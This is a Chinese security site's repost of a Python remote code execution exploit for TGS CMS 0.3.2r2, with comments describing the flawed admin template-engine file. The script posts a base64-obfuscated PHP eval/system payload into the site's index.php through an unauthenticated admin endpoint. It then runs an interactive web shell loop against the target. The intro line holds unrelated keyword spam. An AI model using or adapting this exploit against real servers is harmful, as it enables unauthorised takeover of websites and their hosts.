• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > TGS CMS 0.3.2r2 Remote Code Execution Exploit

TGS CMS 0.3.2r2 Remote Code Execution Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了TGS CMS 0.3.2r2 Remote Code Execution Exploit ,其中包含基佬大乱斗0.3.2,mantle 1.7.10-0.3.2,基佬大乱斗0.3.2汉化,基佬大乱斗0.3.2下载,基佬大作战0.3.2等知识点,遇到此问题的同学们可以参考下
# TGS CMS Remote Code Execution Exploit
# by 0in
# from Dark-Coders Group!
# www.dark-coders.pl
# Contact: 0in(dot)email[at]gmail(dot)com
# Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke
# Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot
# Let's analyze the vuln:
# We've got the: /cms/admin/admin.template_engine.php
# first line:"<?"
# next 2-22 lines - comments
# 23: if ($_GET['option'] == "set_template") {
# 24: $filename = "../index.php";
# 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {
# From 50 line to 88 we have definition of file content
# 50: $content = '<?php // here programmer define the file to save in "../index.php"
# but...
# he.. don't think xD
# 77:$tgs_template->template_dir = "'.$_POST['template_dir'].'";
# 78:$tgs_template->config_dir = "'.$_POST['config_dir'].'";
# 79:$tgs_template->cms_dir = "'.$_POST['cms_dir'].'";
# 80:$tgs_template->left_delimiter = "'.$_POST['left_delimiter'].'";
# 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'";
# And.. boom!
# 89: if (@fwrite($handle,$content)) {
# Just simply exploit for fun:
import httplib
import urllib
print "TGS CMS Remote Code Execution Exploit"
print "by 0in From Dark-Coders Group"
print "www.dark-coders.pl"
print 'Enter target:'
target=raw_input()
print 'Enter path:'
path=raw_input()
inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//"
exploit=httplib.HTTPConnection(target ':80')
headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"}
data=urllib.urlencode({'right_delimiter':inject})
exploit.request("POST",path "/cms/admin/admin.template_engine.php?option=set_template",data,headers)
print exploit.getresponse().read()
while(1):
cmd=raw_input("[shell@" target "]#")
if(cmd=='exit'):
quit()
shell=httplib.HTTPConnection(target ':80')
shell.request("GET",path "/cms/index.php?zuo=" cmd)
print shell.getresponse().read()

</div>

您可能想查找下面的文章:

  • TGS CMS 0.3.2r2 Remote Code Execution Exploit

相关文章

  • Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit
  • Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC
  • Debian Sarge Multiple IMAP Server Denial of Service Exploit
  • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
  • MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
  • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
  • Maian Guestbook
  • LoveCMS 1.6.2 Final Update Settings Remote Exploit
  • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
  • Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Pligg
    • TGS CMS 0.3.2r2 Remote Code Execution Exploit
    • BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit
    • IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
    • Mole Group Last Minute Script
    • Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)
    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit
    • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
    • Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有